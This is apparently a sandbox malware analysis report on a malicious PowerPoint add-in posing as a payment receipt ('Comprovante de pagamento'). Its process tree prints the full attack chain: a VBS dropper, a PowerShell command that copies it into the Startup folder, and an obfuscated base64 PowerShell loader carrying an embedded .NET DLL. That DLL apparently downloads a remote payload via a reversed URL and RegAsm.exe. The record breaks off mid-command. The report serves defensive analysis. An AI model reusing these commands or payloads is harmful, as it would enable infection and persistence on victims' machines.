Overview

overview

10

Static

static

Comprovant...o.ppam

windows7_x64

10

Comprovant...o.ppam

windows10_x64

10

Analysis

  • max time kernel
    118s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    07/01/2022, 08:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ComprovanteXdeXpagamento.ppam
  • Size 16KB
  • Sample220107-khlndscdgr
  • SHA256 edba3ca498110106418658167533034aeb929276fe81de80c6de1a6bb95120e0
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\ComprovanteXdeXpagamento.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:840
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\x.vbs"
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ LST.vbs')"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 5
            4⤵
            • Runs ping.exe
            PID:1400
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ LST.vbs')"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1672
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\x.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ LST.vbs')
              5⤵
              • Drops startup file
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J££BH££FI££TQBB££GU££I££££9££C££££Jw££l££Eg££VgBE££Gk££S££BH££FI££agB1££EM££JQ££n££Ds££WwBC££Hk££d££Bl££Fs££XQBd££C££££J££Bw££Gc££VwB2££GQ££I££££9££C££££WwBT££Hk££cwB0££GU££bQ££u££EM££bwBu££HY££ZQBy££HQ££XQ££6££Do££RgBy££G8££bQBC££GE££cwBl££DY££N££BT££HQ££cgBp££G4££Zw££o££C££££J££BH££FI££TQBB££GU££I££££p££Ds££WwBT££Hk££cwB0££GU££bQ££u££EE££c££Bw££EQ££bwBt££GE££aQBu££F0££Og££6££EM££dQBy££HI££ZQBu££HQ££R££Bv££G0££YQBp££G4££LgBM££G8££YQBk££Cg££J££Bw££Gc££VwB2££GQ££KQ££u££Ec££ZQB0££FQ££eQBw££GU££K££££n££EM££b££Bh££HM££cwBM££Gk££YgBy££GE££cgB5££DM££LgBD££Gw££YQBz££HM££MQ££n££Ck££LgBH££GU££d££BN££GU££d££Bo££G8££Z££££o££Cc££UgB1££G4££Jw££p££C4££SQBu££HY££bwBr££GU££K££££k££G4££dQBs££Gw££L££££g££Fs££bwBi££Go££ZQBj££HQ££WwBd££F0££I££££o££Cc££dQ££0££Dg££Yg££v££Hc££YQBy££C8££ZQBk££G8££Yw££v££G8££aQ££u££HM££b££Bv££G8££d££B3££C8££Lw££6££HM££c££B0££HQ££a££££n££Ck££KQ££=';$ulDtu = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('££','A') ) ).replace('%HVDiHGRjuC%','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c3RhbmNlAGRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBJbnZva2UAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2VjdXJpdHlQcm90b2NvbFR5cGUAR2V0VHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUATWV0aG9kQmFzZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAEhlbHBLZXl3b3JkQXR0cmlidXRlAEdlbmVyYXRlZENvZGVBdHRyaWJ1dGUARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAZ2V0X1ZhbHVlAHNldF9WYWx1ZQBHZXRPYmplY3RWYWx1ZQBzZXRfRW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABDbGFzc0xpYnJhcnkzLmRsbABzZXRfU2VjdXJpdHlQcm90b2NvbABTeXN0ZW0AcmVzb3VyY2VNYW4AU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBNZXRob2RJbmZvAEN1bHR1cmVJbmZvAG1fQXBwT2JqZWN0UHJvdmlkZXIAbV9Vc2VyT2JqZWN0UHJvdmlkZXIAbV9Db21wdXRlck9iamVjdFByb3ZpZGVyAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAGdldF9SZXNvdXJjZU1hbmFnZXIAU2VydmljZVBvaW50TWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBnZXRfQ29tcHV0ZXIATXlDb21wdXRlcgBDbGVhclByb2plY3RFcnJvcgBTZXRQcm9qZWN0RXJyb3IAQWN0aXZhdG9yAC5jdG9yAC5jY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMAZ2V0X1dlYlNlcnZpY2VzAE15V2ViU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkFwcGxpY2F0aW9uU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBDbGFzc0xpYnJhcnkzLk15LlJlc291cmNlcwBDbGFzc0xpYnJhcnkzLlJlc291cmNlcy5yZXNvdXJjZXMARGVidWdnaW5nTW9kZXMAU3RyaW5ncwBnZXRfU2V0dGluZ3MATXlTZXR0aW5ncwBSZWZlcmVuY2VFcXVhbHMAUnVudGltZUhlbHBlcnMAQ29uY2F0AE9iamVjdABNeVByb2plY3QAU3lzdGVtLk5ldABnZXRfRGVmYXVsdABXZWJDbGllbnQAQ29udmVydABTeXN0ZW0uVGV4dABtX0NvbnRleHQAQ2xhc3NMaWJyYXJ5My5NeQBnZXRfQXNzZW1ibHkATXlTZXR0aW5nc1Byb3BlcnR5AAAAL0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBSAGUAcwBvAHUAcgBjAGUAcwAAe3QAeAB0AC4AMwAwAGUAcABtAHUAUgAvADMAMAAtAGUAcABtAHUAcgAvAHMAbQBlAHQAaQAvADIAMQAvAGcAcgBvAC4AZQB2AGkAaABjAHIAYQAuAHMAdQAuADMAMAA0ADEAMAA2AGEAaQAvAC8AOgBzAHAAdAB0AGgAAQUDJgMmAQNBAABFQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawAAF1wAdgA0AC4AMAAuADMAMAAzADEAOQAAKUMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBDAGwAYQBzAHMAMQAAB1IAdQBuAAAXXABSAGUAZwBBAHMAbQAuAGUAeABlAAAAe000wQGMFUmZ7QBV0BJNAQAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECBSACAQ4OBSABARFBByAEAQ4ODg4GFRIoARIMBhUSKAESCAYVEigBEmEGFRIoARIkBCAAEwAFAAICHBwHAAESaRGAjQUgABKAkQcgAgEOEoCRCAABEoCVEoCVCAcEDg4OEoCJBgABARGAnQUAABKApQYgAQESgKUEAAEODgQgAQ4OBSACDg4OBQACDg4OBQAAEoCxBQABHQUOByABEoCRHQUFIAESaQ4GIAESgLkOBiACHBwdHAYAAQESgIkDAAABBAABHBwEIAECHAMgAAgDIAAOBAcBHgACHgAFEAEAHgAECgEeAAQHARMABhUSKAETAAcGFRJtARMABhUSbQETAAITAAQKARMABSABARMACLd6XFYZNOCJCLA/X38R1Qo6BwYVEigBEgwHBhUSKAESCAcGFRIoARJhBwYVEigBEiQDBhJ9BAYSgIEDBhIYBAAAEgwEAAASCAQAABJhBAAAEiQEAAASfQUAABKAgQYAAQESgIEEAAASGAQAAQEOBCAAEmkHEAEBHgAeAAcwAQEBEB4ABAgAEgwECAASCAQIABJhBAgAEiQECAASfQUIABKAgQQIABIYBCgAEwAIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAABQEAAAAAKQEAJDc5MTcyQjEzLUVEQkEtNDA5Ni1CNzI1LThFOTJCNzMwQjJCQQAADAEABzEuMC4wLjAAAEkBABouTkVURnJhbWV3b3JrLFZlcnNpb249djQuNQEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUSLk5FVCBGcmFtZXdvcmsgNC41BAEAAAAIAQABAAAAAAAYAQAKTXlUZW1wbGF0ZQgxMS4wLjAuMAAAQQEAM1N5c3RlbS5SZXNvdXJjZXMuVG9vbHMuU3Ryb25nbHlUeXBlZFJlc291cmNlQnVpbGRlcggxNi4wLjAuMAAAWQEAS01pY3Jvc29mdC5WaXN1YWxTdHVkaW8uRWRpdG9ycy5TZXR0aW5nc0Rlc2lnbmVyLlNldHRpbmdzU2luZ2xlRmlsZUdlbmVyYXRvcggxNi4yLjAuMAAAYQEANFN5c3RlbS5XZWIuU2VydmljZXMuUHJvdG9jb2xzLlNvYXBIdHRwQ2xpZW50UHJvdG9jb2wSQ3JlYXRlX19JbnN0YW5jZV9fE0Rpc3Bvc2VfX0luc3RhbmNlX18AAAAQAQALTXkuQ29tcHV0ZXIAABMBAA5NeS5BcHBsaWNhdGlvbgAADAEAB015LlVzZXIAABMBAA5NeS5XZWJTZXJ2aWNlcwAAEAEAC015LlNldHRpbmdzAAAAAAC0AAAAzsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAAAAAAAAAAAAFBBRFBBRFC0AAAAAAAAAEjHs6YAAAAAAgAAAHkAAAA0OgAANBwAAAAAAAAAAAAA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');powershell.exe -Command $ulDtu; Remove-Item -Path C:\Users\Admin\AppData\Local\Temp\x.vbs
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1748
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$GRMAe = 